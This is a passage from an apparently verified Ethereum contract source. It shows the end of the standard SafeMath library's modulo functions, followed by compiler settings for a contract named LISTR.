   * Reverts when dividing by zero.
   *
   * Counterpart to Solidity's `%` operator. This function uses a `revert`
   * opcode (which leaves remaining gas untouched) while Solidity uses an
   * invalid opcode to revert (consuming all remaining gas).
   *
   * Requirements:
   * - The divisor cannot be zero.
   */
  function mod(uint256 a, uint256 b) internal pure returns (uint256) {
    return mod(a, b, "SafeMath: modulo by zero");
  }

  /**
   * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
   * Reverts with custom message when dividing by zero.
   *
   * Counterpart to Solidity's `%` operator. This function uses a `revert`
   * opcode (which leaves remaining gas untouched) while Solidity uses an
   * invalid opcode to revert (consuming all remaining gas).
   *
   * Requirements:
   * - The divisor cannot be zero.
   */
  function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b != 0, errorMessage);
    return a % b;
  }
}

{
  "compilationTarget": {
    "Contract.sol": "LISTR"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}